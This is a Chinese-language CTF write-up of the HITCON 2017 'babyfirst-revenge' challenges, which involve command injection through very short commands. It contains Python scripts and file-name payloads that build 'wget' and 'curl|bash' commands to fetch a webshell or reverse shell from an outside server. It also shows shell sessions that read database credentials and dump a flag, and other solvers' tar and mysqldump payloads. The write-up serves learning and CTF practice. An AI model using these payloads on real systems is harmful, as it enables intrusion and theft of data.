欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

HITCON2017 宝贝第一复仇记 & 宝贝第一复仇记 v2 重温

最编程 2024-04-12 08:56:30
...

HITCON2017的题好难,同时对linux一无所知,这里复现哈,而且这里主要参考wp进行慢慢理解题目,学到了好多东西。

babyfirst-revenge

分值:200分 类型:Web题目名称:babyfirst-revenge
hitcon2017丧心病狂的命令执行
http://117.50.3.97:8001

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); //根据用户的ip地址
    @mkdir($sandbox);
    @chdir($sandbox);  //保证每个用户独立,切换到当前路径
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox); 
    }
    highlight_file(__FILE__);

这里为了方便调试,同时检测文件生成情况,我将代码放在了服务器端,并修改如下

<?php
    $sandbox = '/var/www/html/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    echo $sandbox;
    mkdir($sandbox);
    chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);
?>

这道题用到了linux里面的一个知识点,如下

root@parrot:ech\
> o th\
> eKin\
> gOfN\
> ight
theKingOfNight

完整的命令为:echo theKingOfNight

可以达到相同的效果。
同时,将关于其他一些文件操作在如下记录

root@VM-0-3-ubuntu:~# >test.php
root@VM-0-3-ubuntu:~# ls
test.php
root@VM-0-3-ubuntu:~# echo "theKingOfNight">test
root@VM-0-3-ubuntu:~# cat test 
theKingOfNight
root@VM-0-3-ubuntu:~# echo "theKingOfNight">test
root@VM-0-3-ubuntu:~# cat test 
theKingOfNight
root@VM-0-3-ubuntu:~# echo "Hello world">> test 
root@VM-0-3-ubuntu:~# cat test 
theKingOfNight
Hello world

sh命令

root@VM-0-3-ubuntu:~# cat test 
ec\
ho \
the\
King\
ofNi\
ght
root@VM-0-3-ubuntu:~# sh test
theKingofNight

ls -t命令
ls -t命令将文件名按照时间顺序(从后向前)列举出来
例如如下例子

root@VM-0-3-ubuntu:~# touch Night
root@VM-0-3-ubuntu:~# touch Of
root@VM-0-3-ubuntu:~# touch King
root@VM-0-3-ubuntu:~# touch the
root@VM-0-3-ubuntu:~# ls -t
the  King  Of  Night
同时,还可以有以下操作
root@VM-0-3-ubuntu:~# ls -t>test
root@VM-0-3-ubuntu:~# cat test 
test
the
King
Of
Night
root@VM-0-3-ubuntu:~# 

利用ls -t,\,>实现短命令执行

仍然输出echo theKingOfNight
root@VM-0-3-ubuntu:~# >ight
root@VM-0-3-ubuntu:~# >fN\\
root@VM-0-3-ubuntu:~# >gO\\
root@VM-0-3-ubuntu:~# >in\\
root@VM-0-3-ubuntu:~# >eK\\
root@VM-0-3-ubuntu:~# >th\\
root@VM-0-3-ubuntu:~# >\ \\
root@VM-0-3-ubuntu:~# >ho\\
root@VM-0-3-ubuntu:~# >ec\\
root@VM-0-3-ubuntu:~# ls -t>_
root@VM-0-3-ubuntu:~# sh _
_: 1: _: _: not found
theKingOfNight
root@VM-0-3-ubuntu:~# cat _
_
ec\
ho\
 \
th\
eK\
in\
gO\
fN\
ight
可以看到这里就成功写入echo theKingOfNight,而且后续只需要调整顺序即可完成命令执行。
现在我们想要达到任意命令执行,难点就在于利用ls -t>某一个文件
按如下顺序写完之后,
>ls\\
>\ \\
>-t\\
>\>\\
ls>a
在程序中得到了最为接近的方法a:
 \
-t\
>\
a
ls\

经过fuzz之后,只能通过先将ls写入文件中,在进行后续写入
功力不够,有其他想法的大师傅也欢迎提出来

调整为如下方式
>ls\\
ls>a
>\ \\
>-t\\
>\>\\
>ls\\
ls>>a
最终a中的内容:
root@VM-0-3-ubuntu:/var/www/html/sandbox# cat ./81373b7610b65f5646715a102170a987/a
a
ls\
 \
-t\
>\
a
ls\

root@VM-0-3-ubuntu:/var/www/html/sandbox/81373b7610b65f5646715a102170a987# sh a
a: 1: a: a: not found
>\   \  a  ls\  -t\

root@VM-0-3-ubuntu:/var/www/html/sandbox/81373b7610b65f5646715a102170a987# cat a
a
ls\
 \
-t\
>\
最终可以命令执行,第一行会报错,不过不用管,不影响我们正常的使用。

剩下就是老套路命令执行了,最好使用可交互式的反弹shell。这里给出我测试使用的脚本

import requests
import re
reset_url='http://188.xxx.xxx.xxx/sandbox.php?reset=1'
url_md5=requests.get(reset_url).text
url_md5=str(re.findall(r"/var/www/html/sandbox/(.*?)<code><spa",url_md5))[2:-2]
print(url_md5)

cmd_url='http://188.xxx.xxx.xxx/sandbox.php?cmd='
#ls -t>a
file_1=[">ls\\\\","ls>a",">\\>\\\\",">-t\\\\",">\\ \\\\",">ls\\\\","ls>>a"]
for i in file_1:
    temp_url=cmd_url+i
    print("Trying :"+temp_url)
    requests.get(temp_url)

先写好ls -t>z的文件夹,剩下的*发挥,剩下的上面已经讲过,这里就不写了()
这里是curl xxx.xx.xxx.xx,直接curl服务器index.html,这里就不叙述了,直接贴脚本

import requests
import re
reset_url='http://188.xxx.xxx.xxx/sandbox.php?reset=1'
url_md5=requests.get(reset_url).text
url_md5=str(re.findall(r"/var/www/html/sandbox/(.*?)<code><spa",url_md5))[2:-2]
print(url_md5)

cmd_url='http://188.xxx.xx.xxx/sandbox.php?cmd='
#ls -t>a
file_1=[">ls\\\\","ls>a",">\\>\\\\",">-t\\\\",">\\ \\\\",">ls\\\\","ls>>a"]
for i in file_1:
    temp_url=cmd_url+i
    print("Trying :"+temp_url)
    requests.get(temp_url)

file_2=[">\>1",">x\\",">xx\\",">x.\\",">xx\\",">x.\\",">x\\",">x.\\",">16\\",">\ \\",">et\\",">wg\\"]
for i in file_2:
    temp_url=cmd_url+i
    print("Trying :"+temp_url)
    requests.get(temp_url)

cmd_url=cmd_url+"sh a"
requests.get(cmd_url)
requests.get(cmd_url)

这样就可以从md5目录下的index.html可以获取到一句话木马
ichunq这里的题目好像计算出来的md5于正常的不同就需要直接使用bash交互~~~~后续测试的时候有时候好使
最后这里给出交互式getshell的脚本

import requests
import re
reset_url='http://188.xxx.xxx.xxx.xxx/sandbox.php?reset=1'
url_md5=requests.get(reset_url).text
url_md5=str(re.findall(r"/var/www/html/sandbox/(.*?)<code><spa",url_md5))[2:-2]
print(url_md5)


cmd_url='http://117.50.3.97:8001/?reset=1'
requests.get(cmd_url)
cmd_url='http://117.50.3.97:8001/?cmd='
#ls -t>a
file_1=[">ls\\\\","ls>a",">\\>\\\\",">-t\\\\",">\\ \\\\",">ls\\\\","ls>>a"]
for i in file_1:
    temp_url=cmd_url+i
    print("Trying :"+temp_url)
    requests.get(temp_url)

file_2=[">sh",">ba\\",">\|\\",">x\\",">xx\\",">x.\\",">xx\\",">x.\\",">x\\",">x.\\",">1x\\",">\ \\",">rl\\",">cu\\"]
for i in file_2:
    temp_url=cmd_url+i
    print("Trying :"+temp_url)
    requests.get(temp_url)

temp_url=cmd_url+"sh a"
print(temp_url)
requests.get(temp_url)
requests.get(temp_url)

不知道为什么wget|bash不可以getshell,curl才可以,本地测试也是curl可以bash,wget不可以,这些方面的骚利用方式还得多多总结,对原理理解的还是不够时刻,如果有大师傅有想法,可以多多交流

www-data@cfb3b967da33:/www/sandbox/3b16ddce4e63e1f1a70a193db38cdbd7$ cd ..
cd ..
www-data@cfb3b967da33:/www/sandbox$ pwd
pwd
/www/sandbox
www-data@cfb3b967da33:/www/sandbox$ ls
ls
36081bce7acc2a5cad1beb4600e6753f
3b16ddce4e63e1f1a70a193db38cdbd7
584b5bd71048f3447e46b6d9c476d7f2
www-data@cfb3b967da33:/www/sandbox$

这就需要找flag了

www-data@cfb3b967da33:/home$ ls
ls
fl4444g
www-data@cfb3b967da33:/home/fl4444g$ cat README.txt
cat README.txt
Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr
www-data@cfb3b967da33:/home/fl4444g$ mysql -u fl4444g -p
mysql -u fl4444g -p
Enter password: SugZXUtgeJ52_Bvr
show databases;
Database
information_schema
fl4gdb

use fl4db
ERROR 1044 (42000) at line 1: Access denied for user 'fl4444g'@'localhost' to database 'fl4db'

然后这个好像凉了,更有可能是因为技术问题.....
后续搜索其他大师傅的wp时,发现这个mysql是不可交互的,学到了

www-data@cfb3b967da33:/$ mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "show databases;"
<sql -ufl4444g -pSugZXUtgeJ52_Bvr -e "show databases;"                       
mysql: [Warning] Using a password on the command line interface can be insecure.
Database
information_schema
fl4gdb
www-data@cfb3b967da33:/$ mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb; show tables;"
<sql -ufl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb; show tables;"              
mysql: [Warning] Using a password on the command line interface can be insecure.
Tables_in_fl4gdb
Tables_in_fl4gdb
this_is_the_fl4g
www-data@cfb3b967da33:/$ mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb; select * from this_is_the_fl4g;"
<52_Bvr -e "use fl4gdb; select * from this_is_the_fl4g;"                     
mysql: [Warning] Using a password on the command line interface can be insecure.
secret
flag{konw_it_then_do_it_^V^}

这里再给出收集的其他大师傅的思路

curl xx.xx.xx.xx|python
python 反弹shell

1pwnch's

curl -o 1.php xxx.xxx.xxx
caidao:1.php?x=

Bendawang中的几种思路
值得学习,还是自己的眼界太窄

然后是另外一种思路,直接用ls,然后构造出字典序出来
这就需要特殊一点的域名了,
就可以不用那么繁琐的一堆东西,就能直接构造出了:
   >cur\
   >l\+\ 
   >opq\
   >y.x\
   >y\
   >z\>\
   >zz\
image

infosec

还有一种方法是利用了*的方法
例如
root@DESKTOP-OK4MI4D:~# mkdir temp
root@DESKTOP-OK4MI4D:~/temp# >ls
root@DESKTOP-OK4MI4D:~/temp# >-t
root@DESKTOP-OK4MI4D:~/temp# ls
ls  -t
root@DESKTOP-OK4MI4D:~/temp# *
-t  ls
这里是按照字母顺序进行命令执行,也就是默认ls的输出顺序来执行
-----------------
这里给出infosec的payload
http://172.17.0.2/?reset=1
http://172.17.0.2/?cmd=>tar
http://172.17.0.2/?cmd=>vcf
http://172.17.0.2/?cmd=>zzz
http://172.17.0.2/?cmd=*%20/h*
这里他(她)首先创建了tar,vcf,zzz三个文件夹,然后直接将/home目录进行打包,然后访问下载(太黑客了)
不过我们知道/home只有提示flag的东西,flag在数据库中,那么我们该怎么办呢。
-------------------
这位大师傅接下来有如下payload
curl 'http://172.17.0.2/?reset=1'
curl 'http://172.17.0.2/?cmd=>tar'
curl 'http://172.17.0.2/?cmd=>vcf'
curl 'http://172.17.0.2/?cmd=>z'
curl -F file=@exploit.php -X POST 'http://172.17.0.2'/?cmd=* /t*'
curl 'http://172.17.0.2/?cmd=php z'
这位带哥的解释如下
What it does is prepare a local file “exploit.php” which contains 
PHP code to run mysqldump and write the output to our sandbox 
folder. The --single-transaction parameter is important, without 
it the mysqldump will not complete due to missing permissions.
前面的都一样,第五行是上传了本地的一个exploit.php,然后打包/t*(/tmp里面包含exploit.php)到文件z,然后再使用php执行z,getshell。
This creates an uncompressed file “z” with all the contents of 
/tmp including our exploit which we POST’ed with that same 
request. After that with php z this tar file is executed. PHP will 
happily skip over all the binary parts and execute the PHP 
payload.
--------
也就是说上传的文件首先会保存在/tmp目录下。
--------
测试时在ichunq这里发现了db.txt,直接在里面搜就好
www-data@cfb3b967da33:/tmp$ ls
ls
a.sql
db.txt
www-data@cfb3b967da33:/tmp$ cat db.txt|grep 'flag{'
cat db.txt|grep 'flag{'
INSERT INTO `this_is_the_fl4g` VALUES ('flag{Known_it_then_do_it}');

不过为什么可以成功上传保存到tmp我还是迷茫,待日后修炼再解决,有知道的大师傅也欢迎交流
今天才发现/目录只有home h,tmp t开头
不过ichunqiu这边好像无法访问这个文件,反弹shell之后是可以执行的,本地服务器测试成功
很开眼界了。

在这里学习到了lsof

更多详情可以参考这里http://linux.51yip.com/search/lsof
就是可以列出当前系统打开的文件  

chybeta

他这里刚开始也是构造ls -t>q
之后将ip转换为十进制,这样就不需要考虑小数点了
wget 2077173*48

王一航

mysqldump: Got error: 1044: Access denied for user 
'fl4444g'@'%' to database 'fl4gdb' when using LOCK TABLES
-----
$ mysqldump --single-transaction -u user -p DBNAME > backup.sql

BabyFirst Revenge v2
<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

这道题就更难了,相比上一道这里长度限制为了4
这里利用了两个考点,*和rev
*默认会执行第一文件命令
rev逆向命令的结果或文件内容

root@VM-0-3-ubuntu:/var/www/html/sandbox# >dir
root@VM-0-3-ubuntu:/var/www/html/sandbox# >sl
root@VM-0-3-ubuntu:/var/www/html/sandbox# >g\>
root@VM-0-3-ubuntu:/var/www/html/sandbox# >ht-
root@VM-0-3-ubuntu:/var/www/html/sandbox# ls
dir  g>  ht-  sl
root@VM-0-3-ubuntu:/var/www/html/sandbox# *
g>  ht-  sl
root@VM-0-3-ubuntu:/var/www/html/sandbox# *>v
root@VM-0-3-ubuntu:/var/www/html/sandbox# cat v
g>  ht-  sl
root@VM-0-3-ubuntu:/var/www/html/sandbox# >rev
root@VM-0-3-ubuntu:/var/www/html/sandbox# *v>x
root@VM-0-3-ubuntu:/var/www/html/sandbox# cat x
ls  -th  >g

这里的*v>x先匹配到了rev,再匹配到了v(g> ht- sl),然后将结果输出到文件x中

rev v>x

剩下的与前面差不多,这里就不写了。

www-data@483e020e7332:/tmp$ ls 
ls
s.sql
www-data@483e020e7332:/tmp$ cat s.sql|grep 'flag{'
cat s.sql|grep 'flag{'
INSERT INTO `this_is_the_fl4g` VALUES ('flag{Know_it_then_do_it_^V^}');

这个级别的比赛虽然打不动,但是复现一遍学到了好多东西
其中有部分本菜的理解,如有理解不到位的地方欢迎各位师傅提点。

参考

http://www.bendawang.site/2017/11/15/Hitcon2017-Web-Writeup/
http://blog.kaibro.tw/2017/11/07/HITCON-CTF%E5%88%9D%E8%B3%BD/
https://chybeta.github.io/2017/11/04/HITCON-CTF-2017-BabyFirst-Revenge-writeup/
https://www.jianshu.com/p/82788b6949c7